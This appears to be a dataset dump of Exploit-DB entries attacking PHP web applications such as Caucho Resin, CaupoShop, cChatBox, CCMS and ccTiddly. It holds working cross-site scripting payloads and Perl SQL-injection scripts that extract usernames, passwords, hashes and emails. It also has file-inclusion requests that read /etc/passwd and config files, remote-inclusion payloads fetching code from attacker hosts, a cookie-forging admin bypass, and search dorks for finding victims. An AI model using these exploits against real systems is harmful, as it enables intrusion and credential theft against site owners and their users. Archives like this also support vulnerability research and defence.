deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38561
Description: Caucho Resin - 'index.php?logout' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-06-07
Author: Gjoko Krstic

Exploit:
source: https://www.securityfocus.com/bid/60426/info
 
Resin Professional is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Resin Professional 4.0.36 is vulnerable; other versions may also be affected. 

http://www.example.com/resin-admin/?q=index.php&logout=true%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #34012
Description: Caucho Resin Professional 3.1.5 - '/resin-admin/digest.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-05-19
Author: xuanmumu

Exploit:
source: https://www.securityfocus.com/bid/40251/info

Caucho Resin Professional is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Resin Professional 3.1.5 is affected; other versions may also be affected. 

http://www.example.com/resin-admin/digest.php?digest_attempt=1&digest_realm="><script>alert("ZnVjayBjbnZk")</script><a&digest_username[]=
http://www.example.com/resin-admin/digest.php?digest_attempt=1&digest_username="><script>alert("ZnVjayBjbnZk")</script><a
Exploit-DB #5865
Description: CaupoShop Classic 1.3 - 'saArticle[ID]' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-19
Author: anonymous

Exploit:
#!/usr/bin/perl
######################
#
#CaupoShop Classic 1.3 Remote Exploit
#
######################
#
#Bug by: h0yt3r
#
#Dork: inurl:csc_article_details.php
# Couldnt find a stable dork for this specific Version.
#Exploit will only work on correct version.
#
##
###
##
#
#I found this long time ago but never actually shared it.
#As the userid's are a bit messy you will only get the top 1 row value.
#Change it if you like.
#
#Gr33tz go to:
#thund3r, ramon, b!zZ!t, Free-Hack, Sys-Flaw and of course the pwning h4ck-y0u Team
########

use LWP::UserAgent;
my $userAgent = LWP::UserAgent->new;

usage();

$server =   $ARGV[0];
$dir = $ARGV[1];

print"\n";
if (!$dir) { die "Read Usage!\n"; }

$filename ="csc_article_details.php";
my $url = "http://".$server.$dir.$filename."?";

my $Attack= $userAgent->get($url);
if ($Attack->is_success)
{
    print "[x] Attacking ".$url."\n";
}
else
{
    print "Couldn't connect to ".$url."!";
    exit;
}

print "[x] Injecting Black Magic\n";

my @count = ("66666");

for ($i = 6; $i<99; $i++)
{
    my $selectUrl = $url."saArticle[ID]=-275 union select 1,2,3,4, @count";
    my $Attack= $userAgent->get($selectUrl);
    if($Attack->content =~ 66666)
        { last; }
    else
        { push(@count,",66666"); }
}

my $Final = $url."saArticle[ID]=-1 union select 1,2,3,concat(1337,email,0x3a,password,1337), @count from csc_customer";   

my $Attack= $userAgent->get($Final);

if($Attack->content =~ m/1337(.*?):(.*?)1337/i)
{   
    my $login = $1;
    my $pass = $2;
    print "[x] Success!\n";
    print "[x] Top 1 User Details:\n";

    print "    Username: ".$login."\n";
    print "    Password: ".$pass."\n";
}
else
{
    print"[x] Something wrong...Version?\n";
    exit;

}

sub usage()
{
    print q
    {
    #####################################################
            CaupoShop Classic Remote Exploit
                    -Written by h0yt3r-
    Usage: CC.pl [Server] [Path]
    Sample:
    perl CC.pl www.site.com /shop/
    ######################################################
    };

}
#eof

# milw0rm.com [2008-06-19]
Exploit-DB #18066
Description: CaupoShop Pro (2.x < 3.70) Classic 3.01 - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-11-02
Author: Rami Salama

Exploit:
CaupoShop Pro (2.x/ <= 3.70) Local File Include Vulnerability
-----------------------------------------------------------------------------------------
# Vuln Softwares :     	CaupoShop Pro 2.x
	     	CaupoShop Classic 3.01 
	     	CaupoShop Pro 3.70
# Discovered By :	 Rami Salama
#Contact :		eng.ramisalama_[at]_gmail_[dot]_com
# Vendor  : 	http://www.caupo.net
# Greets To : 	All my colleagues and friends in MCIT scholarship at Raya Academy
#Dorks : 		"powered by CaupoShop"
	  	 inurl:index.php?action=template&template

#Exploit  : 		http://127.0.0.1/[CaupoShop]/index.php?action=template&template=[LFI]
#POC :		http://127.0.0.1/[CaupoShop]/index.php?action=template&template=../../../config.php
	  	http://127.0.0.1/[CaupoShop]/index.php?action=template&template=../../../../../../etc/passwd

#28 October 2011 - Egypt
Exploit-DB #4577
Description: CaupoShop Pro 2.x - 'action' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-28
Author: mozi

Exploit:
ork:allinurl:index.php?action= basket sid
vuln:index.php?action=
examples:
http://www.xxx.com/shop/index.php?action=http://adek.org/o.gif?&cmd=cat%20config.php

author:mozi2weed@yahoo.com
site:http://mozi.rootmybox.org
support:http://darkc0de.com & whoami

# milw0rm.com [2007-10-28]
Exploit-DB #47631
Description: CBAS-Web 19.0.0 - 'id' Boolean-based Blind SQL Injection
Type: webapps
Platform: php
Date: 2019-11-12
Author: LiquidWorm

Exploit:
# Exploit Title: CBAS-Web 19.0.0 - 'id' Boolean-based Blind SQL Injection
# Google Dork: NA
# Date: 2019-11-11
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/
# Software Link: https://www.computrols.com/building-automation-software/
# Version: 19.0.0
# Tested on: NA
# CVE : N/A
# Advisory: https://applied-risk.com/resources/ar-2019-009
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system

# Computrols CBAS-Web Authenticated Boolean-based Blind SQL Injection
# PoC (id param):

http://192.168.1.250/cbas/index.php?m=servers&a=start_pulling&id=1 AND 2510=2510
Exploit-DB #9471
Description: CBAuthority - ClickBank Affiliate Management SQL Injection
Type: webapps
Platform: php
Date: 2009-08-18
Author: Angela Chang

Exploit:
(o)===========================================================================================(o)

                 -:-          CBAuthority - ClickBank Affiliate Management SQL Injection Vulnerability       -:-


            Vendor : http://www.cbauthority.com/
            Author  : Angela Chang
            Contact : angel@ch4ng.cc
            Date     : 17 august 2009

(o)===========================================================================================(o)


Dork   :
   
       Powered by CBAuthority


Vulnerabilities   :

      http://localhost/path/main.php?command=view_product&id=-1 UNION SELECT 0,concat_ws(0x7c,username,password,email),2,3,4,5,6,7,8,9,10,11,12,13 from clickbank_admin--



Demo  :


      http://www.cbauthority.com/demo/main.php?command=view_product&id=-18 UNION SELECT 0,concat_ws(0x7c,username,password,email),2,3,4,5,6,7,8,9,10,11,12,13 from clickbank_admin--




(o)===========================================================================================(o)

Greetz   :   -:-  SkyCreW  -:-

     Nyubi (Solpot) , Vrs-hCk , OoN_BoY , NoGe , Paman , zxvf ,   home_edition2001   ,   str0ke


(o)===========================================================================================(o)

# milw0rm.com [2009-08-18]
Exploit-DB #27773
Description: CBHotel Hotel Software and Booking system 1.8 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-08-22
Author: Dylan Irzi

Exploit:
###########################################################################################
# Exploit Title: Hotel Software and Booking system 1.8 - SQL Injection /
Cross Site Scripting
# Date: 21 de Agosto del 2013
# Exploit Author: Dylan Irzi
# Credit goes for: websecuritydev.com
# Vendor Homepage: http://www.cbhotel.eu/
# Tested on: Win8 & Linux Mint
# Affected Version : 1.8 & Anteriores.
# Contacts: { https://twitter.com/Dylan_irzi11 , http://websecuritydev.com/}
# Greetz: All team WebSecuritydev, SeguridadBlanca (Dedalo)
###########################################################################################

*Cross Site Scripting:*
Archivos Afectados Afectados

http://localhost/cbadm/reservations/index.php?ac=search
-------------------------------------------------------------------
PoC:
*Cross Site Scripting Post.*
URL: http://server/cbadm/reservations/index.php?ac=search

Host: server
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:23.0) Gecko/20100101
Firefox/23.0 AlexaToolbar/alxf-2.18
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://demo.cbhotel.eu/cbadm/adm_main.php
Cookie: PHPSESSID=flp86mf2huj240qp6hj34ojgp3
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
-------------------------------------------------------------------
s=%22%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FXSS%2F%29%3B%3E%3E&button2=search&ss=ok
-------------------------------------------------------------------
*SQL Injection*

http://localhost/cbadm/clients/edit_client.php?id=1(SQL Injection)


*By Dylan Irzi
@Dylan_Irzi11
Pentest de Seguridad.
WhiteHat.
*
Exploit-DB #29776
Description: CcCounter 2.0 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-03-26
Author: Crackers_Child

Exploit:
source: https://www.securityfocus.com/bid/23135/info

CcCounter is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

CcCounter version 2.0 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/cccounter_path/index.php?option=browser&dir=%3Cscript%3Ealert(/Crackers_Child/)%3C/script%3E
Exploit-DB #16268
Description: cChatBox for vBulletin 3.6.8/3.7.x - SQL Injection
Type: webapps
Platform: php
Date: 2011-03-02
Author: DSecurity

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
$ua->agent("MyApp/0.1 ");
print "##################################\n";
print "############ EXPLOIT #############\n";
print "##################################\n";
print "## Portal: cchatbox             ##\n";
print "## Bug: SQLI                    ##\n";
print "## Author: DSecurity            ##\n";
print "## Coder: vv0lll                ##\n";
print "##################################\n";
	
print "Use: exploit.pl address number_user sleeptime\n";
print "Example: exploit.pl http://localhost/vbb 10 10\n";
if(@ARGV < 2) {exit;}
print "\n\n================================================\n";
#Foot print
print v_request('MySQL version: ','@@version');
print v_request('Data dir: ','@@datadir');
print v_request('User: ','user()');
print v_request('Database: ','database()');  
	
#Get user
for($i=1;$i<=$ARGV[1];$i++){
	print "-----------------------------------------\n";
	print $id = v_request('ID: ','userid','user','1',$i-1);
	if($id =~ /(ID:)\s(.*)/){
		print v_request('Group: ','usergroupid','user','userid='.$2);
		print v_request('Username: ','username','user','userid='.$2);
		print v_request('Password: ','password','user','userid='.$2);
		print v_request('Salt: ','salt','user','userid='.$2);
		print v_request('Email: ','email','user','userid='.$2);
	}
			
		}

print $ARVG[0];
sub v_request{
	#Declare
	$print = $_[0];
	$select = $_[1];
	$from = $_[2];
	$where = $_[3];
	$limit = $_[4];
	$sleep = $ARGV[2];
	if ($from eq '') {$from = 'information_schema.tables';}
	if ($where eq '') {$where = '1';}
	if ($limit eq '') {$limit = '0';}
	if ($sleep eq '') {$sleep = '10';}
	
	# Create a request
	my $req = HTTP::Request->new(POST => $ARGV[0].'/cchatbox.php');
	$req->content_type('application/x-www-form-urlencoded');
	$req->content('do=edit&messageid=0 and (SELECT 1 FROM(SELECT COUNT(*),CONCAT((select '.$select.' from '.$from.' WHERE '.$where.' limit '.$limit.',1),FLOOR(RAND(1)*3))x FROM information_schema.tables GROUP BY x)a)');

	# Pass request to the user agent and get a response back
	my $res = $ua->request($req);
	#print $res->content;
	if($res->content =~ /(MySQL Error)(.*?)'(.*?)0'(.*)/)
    {$test = $3};
	sleep($sleep);
	return $print.$test."\n";
}
Exploit-DB #5433
Description: CcMail 1.0.1 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-04-12
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		         CcMail <= 1.0.1 Insecure Cookie Handling	             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 11 April 2008
Script Download: http://www.cicoandcico.com/download/download.php?SortBy=1&fdir=./ccmail/
DORK: "Emanuele Guadagnoli" "CcMail"

Vendor Has Not Been Notified!


DESCRIPTION: 
CcMail (all versions) suffers from insecure cookie handling, this allows the remote attacker to set a cookie
and be granted access to the admin area. this is because CcMail only checks if the cookie exists, it doesnt
compare the data.

by entering the below javascript into your (firefox/thunderbird etc) cookies will be created allowing you
to login to "admin.php"


Exploit:

javascript:document.cookie = "name=admin; path=/;"; document.cookie = "this_cookie=admin; path=/;"; 



NOTE/TIP: 
after running the above code you will be able to visit the admin area at "admin.php"


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !


--==+================================================================================+==--
--==+		         CcMail <= 1.0.1 Insecure Cookie Handling	             +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-12]
Exploit-DB #6663
Description: CCMS 3.1 - 'skin' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-10-03
Author: SirGod

Exploit:
############################################################################################
[+] CCMS 3.1 (skin) Multiple Local File Inclusion Vulnerabilities
[+] Discovered By SirGod
[+] wWw.MorTal-TeaM.OrG
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,HrN,kemrayz,007m,Raven,Nytr0gen,str0ke
############################################################################################

[+] Download Script :

   http://rapidshare.com/files/94804716/CCMS_v3.1_by_Mikel_Dean.rar

[+] Local File Inclusion

--------------------------------------------------------------------------------------------

   PoC 1 :

      http://[target]/[path]/index.php?skin=[Local File]%00

   Example 1 :

      http://127.0.0.1/path/index.php?skin=../../../../autoexec.bat%00


--------------------------------------------------------------------------------------------

   PoC 2 :

      http://[target]/[path]/forums.php?skin=[Local File]%00

   Example 2 :

      http://127.0.0.1/path/forums.php?skin=../../../../autoexec.bat%00


--------------------------------------------------------------------------------------------

   PoC 3 :

      http://[target]/[path]/admin.php?skin=[Local File]%00

   Example 3 :

      http://127.0.0.1/path/admin.php?skin=../../../../autoexec.bat%00

--------------------------------------------------------------------------------------------

   PoC 4 :

      http://[target]/[path]/header.php?skin=[Local File]%00

   Example 4 :

      http://127.0.0.1/path/header.php?skin=../../../../autoexec.bat%00

--------------------------------------------------------------------------------------------

   PoC 5 :

      http://[target]/[path]/pages/story.php?skin=[Local File]%00

   Example 5 :

      http://127.0.0.1/path/pages/story.php?skin=../../../../../autoexec.bat%00

--------------------------------------------------------------------------------------------

   PoC 6 :

      http://[target]/[path]/pages/poll.php?skin=[Local File]%00

   Example 6 :

      http://127.0.0.1/path/pages/poll.php?skin=../../../../../autoexec.bat%00

--------------------------------------------------------------------------------------------

############################################################################################

# milw0rm.com [2008-10-03]
Exploit-DB #4809
Description: CCMS 3.1 Demo - SQL Injection
Type: webapps
Platform: php
Date: 2007-12-29
Author: Pr0metheuS

Exploit:
#!/usr/bin/perl 
#Found by Pr0metheuS 
#Coded by Pr0metheuS 
#Gr33tz-Team 
#Dork : intitle:"CCMS v3.1 Demo PW" 
print "______________________________________\n"; 
print "-=-=-=-=-=-=+-=-=-=-=-=-=-+-=-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+CCMS Exploit...+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+Remote MD5 Hash+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+By Pr0metheus..+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+Gr33tz to :+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+pawel2827, d3d!k, J4Z0, chez, fir3+-=-=-=-=|\n"; 
print "______________________________________\n"; 
print "[+] Enter SITE:\n"; 
$SITE = <STDIN>; 
chomp $SITE; 
print "[+] Enter PATH:\n"; 
$PATH = <STDIN>; 
chomp $PATH; 
print "[+] Enter USERID:\n"; 
$USERID = <STDIN>; 
chomp $USERID; 
print "______________________________________\n"; 
#Send Request 
use LWP::UserAgent; 
$ua = new LWP::UserAgent; 
$ua->agent("Mozilla/8.0"); 
$ua = LWP::UserAgent->new; 
my $req = HTTP::Request->new(GET => "$SITE$PATH/admin.php/vars.php?page=Console&p=1'+union+select+userid,2,3,PASSWORD+from+user+where+userid=$USERID/*"); 
$req->header('Accept' => 'text/html'); 
$res = $ua->request($req); 
$con = $res->content; 
#FIND MD5 IN TEXT REGEX !!! 
if ($con =~ "/([0-9a-fA-F]{32})/") { 
print "______________________________________\n"; 
print "-=-=-=-=-=-=+-=-=-=-=-=-=-+-=-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+CCMS Exploit...+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+Remote MD5 Hash+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+By Pr0metheus..+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+Gr33tz to :+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+pawel2827, d3d!k, J4Z0, chez, fir3+-=-=-=-=|\n"; 
print "[+] Exploit successful!\n"; 
print "[+] USERID:$USERID\n"; 
print "[+] MD5:$1\n"; 
print "______________________________________\n"; 
} 
else{ 
print "______________________________________\n"; 
print "-=-=-=-=-=-=+-=-=-=-=-=-=-+-=-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+CCMS Exploit...+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+Remote MD5 Hash+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+By Pr0metheus..+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+Gr33tz to :+-=-=-=-=|\n"; 
print "-=-=-=-=-=-=+pawel2827, d3d!k, J4Z0, chez, fir3+-=-=-=-=|\n"; 
    print "[+] Exploit Failed!\n"; 
}

# milw0rm.com [2007-12-29]
Exploit-DB #7336
Description: ccTiddly 1.7.4 - 'cct_base' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-12-04
Author: cOndemned

Exploit:
/*

	$Id: cctiddly-1.7.4-rfi.txt,v 0.1 2008/12/04 04:12:20 cOndemned Exp $

	ccTiddly 1.7.4 (cct_base) Multiple Remote File Inclusion Vulnerabilities
	found by cOndemned
	
	download from : http://tiddlywiki.org/ccTiddly/ccTiddly_v1.7.4.zip
	
	Probably prior versions are vulnerable too...

	Greetz: ZaBeaTy, str0ke, TBH, Avantura

*/


0x01 :
	file : 
		/index.php
	poc : 
		http://[host]/[cctiddly_path]/index.php?cct_base=http://[attacker]/evil.txt?
	source :  

		18.	//includes
		19.	if(!isset($cct_base))
		20.		$cct_base = "";
		21.
		22.	include_once($cct_base."includes/header.php");
		23.	include_once($cct_base."includes/login.php");	
	
0x02 :

	file :
		/handle/proxy.php
	poc :
		http://[host]/[cctiddly_path]/handle/proxy.php?cct_base=http://[attacker]/evil.txt?
	source :

		3.	if(!isset($cct_base)) 
		4.		$cct_base= "../";
		5.	include_once($cct_base."includes/header.php");
		6.	include_once($cct_base."includes/config.php");

0x03 :

	file :
		/includes/header.php
	poc :
		http://[host]/[cctiddly_path]/handle/includes/header.php?cct_base=http://[attacker]/evil.txt?
	source :

		5.	if(!isset($cct_base)) 
		6.		$cct_base= "";
		7.	include_once($cct_base."includes/functions.php");
		8.	include_once($cct_base."includes/config.php");
		9.	include_once($cct_base."includes/pluginLoader.php");
		10.	include_once($cct_base."lang/".$tiddlyCfg['pref']['language']."/language.php");
		11.	//include is used because language file is included once in config.php file
		12.	include_once($cct_base."includes/tiddler.php");
		13.	include_once($cct_base."includes/user.php");

0x04 :

	file :
		/includes/include.php
	poc :
		http://[host]/[cctiddly_path]/includes/include.php?cct_base=http://[attacker]/evil.txt?
	source :

		3.	include_once($cct_base."includes/ccAssignments.php");

0x05 :

	file :
		/includes/workspace.php	
	poc :
		http://[host]/[cctiddly_path]/includes/workspace.php?cct_base=http://[attacker]/evil.txt?
	source :
		3.	include_once($cct_base."includes/header.php");
		4.	include_once($cct_base."includes/user.php");
		5.	include_once($cct_base."includes/tiddler.php");

0x06 :

	file :
		/plugins/RSS/files/rss.php
	poc :
		http://[host]/[cctiddly_path]/plugins/RSS/files/rss.php?cct_base=http://[attacker]/evil.txt?
	source :

		3.	include_once($cct_base."includes/header.php");
		
EoF.

# milw0rm.com [2008-12-04]
Exploit-DB #14560
Description: ccTiddly 1.7.6 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2010-08-05
Author: eidelweiss

Exploit:
 1                    ########################################          1
 0                    I'm eidelweiss member from Inj3ct0r Team          1
 1                    ########################################          0
 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1


Developer: http://tiddlywiki.org/wiki/CcTiddlyDeveloper
Download: http://tiddlywiki.org/ccTiddly/ccTiddly_v1.7.6.zip
Author: eidelweiss
Contact: g1xsystem[at]windowslive.com
Original Advisories: http://eidelweiss-advisories.blogspot.com/2010/08/cctiddly-v176-multiple-remote-file.html

================================================================

ccTiddly is a collaborative server side version of TiddlyWiki.

Note:
This is the same vuln in other lower version (http://www.exploit-db.com/exploits/7336/)
Vendor Not Fix the vulnerability in all folder !!!

================================================================

	-=[Vuln C0de]=-

[!] path/includes/include.php

	include_once($cct_base."includes/ccAssignments.php");

[!] path/includes/workspace.php

	include_once($cct_base."includes/header.php");
	include_once($cct_base."includes/user.php");
	include_once($cct_base."includes/tiddler.php");

================================================================

	-=[P0C]=-

	http://127.0.0.1/path/includes/include.php?cct_base= [inj3ct0r sh3ll]

	http://127.0.0.1/path/includes/workspace.php?cct_base= [inj3ct0r sh3ll]


=========================| -=[ E0F ]=- |============================